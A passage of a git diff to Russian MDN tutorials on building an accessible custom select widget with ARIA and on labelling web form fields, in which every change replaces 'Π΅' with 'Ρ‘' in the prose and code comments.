// А Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ΅ состояниС Π½ΡƒΠΆΠ½ΠΎΠ³ΠΎ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°
@@ -473,7 +473,7 @@ function activeSelect(select, selectList) {
}
// Π­Ρ‚Π° функция Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ/Π·Π°ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ список Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ²
-// Π•ΠΉ пСрСдаСтся ΠΎΠ΄ΠΈΠ½ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€:
+// Π•ΠΉ пСрСдаётся ΠΎΠ΄ΠΈΠ½ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€:
// select : DOM Π½ΠΎΠ΄Π° со списком для ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ состояния
function toggleOptList(select) {
@@ -556,7 +556,7 @@ window.addEventListener('load', function () {
});
});</pre>
-<p>Π’ этот ΠΌΠΎΠΌΠ΅Π½Ρ‚ наш Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ состояниС Π² соотвСтствии с нашим Π΄ΠΈΠ·Π°ΠΉΠ½ΠΎΠΌ, Π½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Π‘ этим ΠΌΡ‹ разбСрСмся дальшС.</p>
+<p>Π’ этот ΠΌΠΎΠΌΠ΅Π½Ρ‚ наш Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ состояниС Π² соотвСтствии с нашим Π΄ΠΈΠ·Π°ΠΉΠ½ΠΎΠΌ, Π½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Π‘ этим ΠΌΡ‹ разбСрёмся дальшС.</p>
<table>
<thead>
@@ -582,8 +582,8 @@ window.addEventListener('load', function () {
<p>Как Π±Ρ‹Π»ΠΎ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Ρ€Π°Π½Π΅Π΅, Ρƒ нас Π΅ΡΡ‚ΡŒ стандартный видТСт {{HTMLElement("select")}} Π² качСствС запасного Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π° для ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ доступности; поэтому ΠΌΡ‹ просто синхронизируСм Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ с нашим собствСнным Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠΌ:</p>
-<pre class="brush: js">// Π­Ρ‚Π° функция обновляСт ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ синхронизируСт Π΅Π³ΠΎ со стандартным Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠΌ
-// Π•ΠΉ пСрСдаСтся Π΄Π²Π° ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°:
+<pre class="brush: js">// Π­Ρ‚Π° функция обновляСт ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ синхронизируСт Π΅Π³ΠΎ со стандартным Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠΌ
+// Π•ΠΉ пСрСдаётся Π΄Π²Π° ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°:
// select : DOM Π½ΠΎΠ΄Π° класса `select` содСрТащая Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΎ
// index : индСкс Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ значСния
function updateValue(select, index) {
@@ -608,7 +608,7 @@ function updateValue(select, index) {
};
// Π­Ρ‚Π° функция Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ Π½ΠΎΠΌΠ΅Ρ€ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта Π² стандартном Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π΅
-// Π•ΠΉ пСрСдаСтся ΠΎΠ΄ΠΈΠ½ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€:
+// Π•ΠΉ пСрСдаётся ΠΎΠ΄ΠΈΠ½ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€:
// select : DOM Π½ΠΎΠ΄Π° класса `select` ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π°Ρ стандартному Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Ρƒ
function getIndex(select) {
// Нам Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ стандартному Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Ρƒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌΡƒ Π΄Π°Π½Π½ΠΎΠΌΡƒ
@@ -663,7 +663,7 @@ window.addEventListener('load', function () {
});
});</pre>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄Π΅ ΡΡ‚ΠΎΠΈΡ‚ΡŒ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ свойство <code><a href="/en-US/docs/Web/API/HTMLElement/tabIndex" title="/en-US/docs/Web/API/HTMLElement/tabIndex">tabIndex</a></code>. ИспользованиС этого свойства Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ стандартный Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» фокус,Β ΠΈ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ наш ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ фокус ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρƒ ΠΈΠ»ΠΈ ΠΌΡ‹ΡˆΡŒ.</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄Π΅ ΡΡ‚ΠΎΠΈΡ‚ΡŒ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ свойство <code><a href="/en-US/docs/Web/API/HTMLElement/tabIndex" title="/en-US/docs/Web/API/HTMLElement/tabIndex">tabIndex</a></code>. ИспользованиС этого свойства Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ стандартный Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» фокус,Β ΠΈ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ наш ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ фокус ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρƒ ΠΈΠ»ΠΈ ΠΌΡ‹ΡˆΡŒ.</p>
<p>Π‘ этим ΠΌΡ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ»ΠΈ! Π’ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚:</p>
@@ -689,7 +689,7 @@ window.addEventListener('load', function () {
<p>ΠœΡ‹ создали Π½Π΅Ρ‡Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰Π΅Π΅, ΠΈ, хотя это Π΄Π°Π»Π΅ΠΊΠΎ ΠΎΡ‚ ΠΏΠΎΠ»Π½ΠΎΡ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ‹ΠΏΠ°Π΄Π°ΡŽΡ‰Π΅Π³ΠΎ списка,Β Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ это Ρ…ΠΎΡ€ΠΎΡˆΠΎ. Однако Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ сдСлали, это Π½Π΅ Π±ΠΎΠ»Π΅Π΅, Ρ‡Π΅ΠΌ возня с DOM. Π£ Π½Π΅Π³ΠΎ Π½Π΅Ρ‚ настоящСй сСмантики, ΠΈ хотя ΠΎΠ½ΠΎ выглядит ΠΊΠ°ΠΊ Ρ€Π°ΡΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΉΡΡ список, с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° - это Π½Π΅ Ρ‚Π°ΠΊ, поэтому Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Π½Π΅ смогут ΠΏΠΎΠ½ΡΡ‚ΡŒ Ρ‡Ρ‚ΠΎ это ΠΎΠ½ ΠΈ Π΅ΡΡ‚ΡŒ. ΠšΠΎΡ€ΠΎΡ‡Π΅ говоря, этот Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π½ΡŒΠΊΠΈΠΉ список для Π²Ρ‹Π±ΠΎΡ€Π° Ρ„Ρ€ΡƒΠΊΡ‚ΠΎΠ² Π½Π΅ являСтся доступным для людСй с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ возмоТностями!</p>
-<p>К ΡΡ‡Π°ΡΡ‚ΡŒΡŽ сущСствуСт Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, ΠΈ оно называСтся <a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a>. ARIA - Π°Π±Π±Ρ€Π΅Π²ΠΈΠ°Ρ‚ΡƒΡ€Π° для "Accessible Rich Internet Application" (ДоступноС всСм ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅), ΠΈ прСдставляСт собой <a href="http://www.w3.org/TR/wai-aria/" rel="external" title="http://www.w3.org/TR/wai-aria/">W3C ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ</a>Β ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½ΡƒΡŽΒ Π΄Π»Ρ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ здСсь Π΄Π΅Π»Π°Π΅ΠΌ:Β Π΄Π΅Π»Π°Π΅ΠΌ Π²Π΅Π± прилоТСния ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Ρ‹ ассистивными (доступными для людСй с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ возмоТностями). Π’ основном, это Π½Π°Π±ΠΎΡ€ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ²,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°ΡΡˆΠΈΡ€ΡΡŽΡ‚ HTML, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ ΡΠΌΠΎΠ³Π»ΠΈΒ Π»ΡƒΡ‡ΡˆΠ΅ ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ€ΠΎΠ»ΠΈ, состояния ΠΈ свойства, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π΅Ρ‚Π΅Π½Π½Ρ‹ΠΉ элСмСнт выглядит ΠΊΠ°ΠΊ Π±ΡƒΠ΄Ρ‚ΠΎ ΠΎΠ½ Π±Ρ‹Π» Ρ‚Π΅ΠΌ стандартным, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ он сСбя Π²Ρ‹Π΄Π°Π΅Ρ‚. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ ΠΎΡ‡Π΅Π½ΡŒ просто, поэтому Π΄Π°Π²Π°ΠΉΡ‚Π΅ сдСлаСм это.</p>
+<p>К ΡΡ‡Π°ΡΡ‚ΡŒΡŽ сущСствуСт Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, ΠΈ оно называСтся <a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a>. ARIA - Π°Π±Π±Ρ€Π΅Π²ΠΈΠ°Ρ‚ΡƒΡ€Π° для "Accessible Rich Internet Application" (ДоступноС всСм ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅), ΠΈ прСдставляСт собой <a href="http://www.w3.org/TR/wai-aria/" rel="external" title="http://www.w3.org/TR/wai-aria/">W3C ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ</a>Β ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½ΡƒΡŽΒ Π΄Π»Ρ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ здСсь Π΄Π΅Π»Π°Π΅ΠΌ:Β Π΄Π΅Π»Π°Π΅ΠΌ Π²Π΅Π± прилоТСния ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Ρ‹ ассистивными (доступными для людСй с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ возмоТностями). Π’ основном, это Π½Π°Π±ΠΎΡ€ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ²,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°ΡΡˆΠΈΡ€ΡΡŽΡ‚ HTML, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ ΡΠΌΠΎΠ³Π»ΠΈΒ Π»ΡƒΡ‡ΡˆΠ΅ ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ€ΠΎΠ»ΠΈ, состояния ΠΈ свойства, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π΅Ρ‚Ρ‘Π½Π½Ρ‹ΠΉ элСмСнт выглядит ΠΊΠ°ΠΊ Π±ΡƒΠ΄Ρ‚ΠΎ ΠΎΠ½ Π±Ρ‹Π» Ρ‚Π΅ΠΌ стандартным, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ он сСбя Π²Ρ‹Π΄Π°Ρ‘Ρ‚. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ ΠΎΡ‡Π΅Π½ΡŒ просто, поэтому Π΄Π°Π²Π°ΠΉΡ‚Π΅ сдСлаСм это.</p>
<h3 id="Атрибут_role">Атрибут <code>role</code></h3>
diff --git a/files/ru/learn/forms/how_to_structure_a_web_form/index.html b/files/ru/learn/forms/how_to_structure_a_web_form/index.html
index 501767be92..378a004392 100644
--- a/files/ru/learn/forms/how_to_structure_a_web_form/index.html
+++ b/files/ru/learn/forms/how_to_structure_a_web_form/index.html
@@ -86,9 +86,9 @@ original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form
<pre class="brush: html notranslate">&lt;label for="name"&gt;Name:&lt;/label&gt; &lt;input type="text" id="name" name="user_name"&gt;</pre>
-<p>ΠŸΡ€ΠΈΒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ связанном элСмСнтС <code>&lt;label&gt;</code> с элСмСнтом <code>&lt;input&gt;</code> Ρ‡Π΅Ρ€Π΅Π· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹Β <code>for</code> ΠΈ <code>id</code> соотвСтствСнно (Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>for</code> ссылаСтся Π½Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>id</code>Β ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π° Ρ„ΠΎΡ€ΠΌΡ‹), скринридСр ΠΏΡ€ΠΎΡ‡Ρ‚Π΅Ρ‚ вслух Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅ "Name, edit text".</p>
+<p>ΠŸΡ€ΠΈΒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ связанном элСмСнтС <code>&lt;label&gt;</code> с элСмСнтом <code>&lt;input&gt;</code> Ρ‡Π΅Ρ€Π΅Π· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹Β <code>for</code> ΠΈ <code>id</code> соотвСтствСнно (Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>for</code> ссылаСтся Π½Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>id</code>Β ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π° Ρ„ΠΎΡ€ΠΌΡ‹), скринридСр ΠΏΡ€ΠΎΡ‡Ρ‚Ρ‘Ρ‚ вслух Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅ "Name, edit text".</p>
-<p>Если <code>&lt;label&gt;</code>Β Π½Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ установлСн, скринридСр ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π΅Ρ‚ это ΠΊΠ°ΠΊ "Edit text blank", Ρ‡Ρ‚ΠΎ Π½Π΅ нСсСт Π² сСбС Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ ΡƒΡ‚ΠΎΡ‡Π½ΡΡŽΡ‰Π΅ΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π΅ΠΉ ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½ΠΎΠ³ΠΎ тСкстового поля.</p>
+<p>Если <code>&lt;label&gt;</code>Β Π½Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ установлСн, скринридСр ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π΅Ρ‚ это ΠΊΠ°ΠΊ "Edit text blank", Ρ‡Ρ‚ΠΎ Π½Π΅ нСсёт Π² сСбС Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ ΡƒΡ‚ΠΎΡ‡Π½ΡΡŽΡ‰Π΅ΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π΅ΠΉ ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½ΠΎΠ³ΠΎ тСкстового поля.</p>
<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Π»ΠΎΠΆΠ΅Π½ Π² элСмСнт {{HTMLElement("label")}}, ΠΊΠ°ΠΊ Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅:</p>
@@ -100,7 +100,7 @@ original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form
<h3 id="Π›Π΅ΠΉΠ±Π»Ρ‹_Ρ‚ΠΎΠΆΠ΅_ΠΊΠ»ΠΈΠΊΠ°Π±Π΅Π»ΡŒΠ½Ρ‹!">Π›Π΅ΠΉΠ±Π»Ρ‹Β Ρ‚ΠΎΠΆΠ΅ ΠΊΠ»ΠΈΠΊΠ°Π±Π΅Π»ΡŒΠ½Ρ‹!</h3>
-<p>Π•Ρ‰Ρ‘ ΠΎΠ΄Π½ΠΎ прСимущСство ΠΏΡ€ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ установлСнных тСкстах-подсказках Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΠΎ Π½ΠΈΠΌΒ ΠΌΠΎΠΆΠ½ΠΎ ΠΊΠ»ΠΈΠΊΠ½ΡƒΡ‚ΡŒ для Π°ΠΊΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈ связанных с Π½ΠΈΠΌΠΈ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠ². Π­Ρ‚ΠΎ поддСрТиваСтся Π²ΠΎ всСх Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π­Ρ‚ΠΎ ΡƒΠ΄ΠΎΠ±Π½ΠΎ ΠΊΠ°ΠΊ для тСкстовых ΠΏΠΎΠ»Π΅ΠΉ Π²Π²ΠΎΠ΄Π°, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… устанавливаСтся фокус ΠΏΡ€ΠΈ ΠΊΠ»ΠΈΠΊΠ΅ Π½Π° тСкст-подсказку, Ρ‚Π°ΠΊ ΠΈ для Ρ€Π°Π΄ΠΈΠΎ-ΠΊΠ½ΠΎΠΏΠΎΠΊ ΠΈ Ρ‡Π΅ΠΊΠ±ΠΎΠΊΡΠΎΠ²Β β€”Β ΠΎΠ±Π»Π°ΡΡ‚ΡŒ попадания Ρ‚Π°ΠΊΠΎΠ³ΠΎ элСмСнта управлСния ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ малСнькой, поэтому ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΅Π΅ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ большС.</p>
+<p>Π•Ρ‰Ρ‘ ΠΎΠ΄Π½ΠΎ прСимущСство ΠΏΡ€ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ установлСнных тСкстах-подсказках Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΠΎ Π½ΠΈΠΌΒ ΠΌΠΎΠΆΠ½ΠΎ ΠΊΠ»ΠΈΠΊΠ½ΡƒΡ‚ΡŒ для Π°ΠΊΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈ связанных с Π½ΠΈΠΌΠΈ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠ². Π­Ρ‚ΠΎ поддСрТиваСтся Π²ΠΎ всСх Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π­Ρ‚ΠΎ ΡƒΠ΄ΠΎΠ±Π½ΠΎ ΠΊΠ°ΠΊ для тСкстовых ΠΏΠΎΠ»Π΅ΠΉ Π²Π²ΠΎΠ΄Π°, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… устанавливаСтся фокус ΠΏΡ€ΠΈ ΠΊΠ»ΠΈΠΊΠ΅ Π½Π° тСкст-подсказку, Ρ‚Π°ΠΊ ΠΈ для Ρ€Π°Π΄ΠΈΠΎ-ΠΊΠ½ΠΎΠΏΠΎΠΊ ΠΈ Ρ‡Π΅ΠΊΠ±ΠΎΠΊΡΠΎΠ²Β β€”Β ΠΎΠ±Π»Π°ΡΡ‚ΡŒ попадания Ρ‚Π°ΠΊΠΎΠ³ΠΎ элСмСнта управлСния ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ малСнькой, поэтому ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΅Ρ‘ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ большС.</p>
<p>НапримСр:</p>
@@ -151,7 +151,7 @@ original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form
<p>{{EmbedLiveSample("Multiple_labels", 120, 120)}}</p>
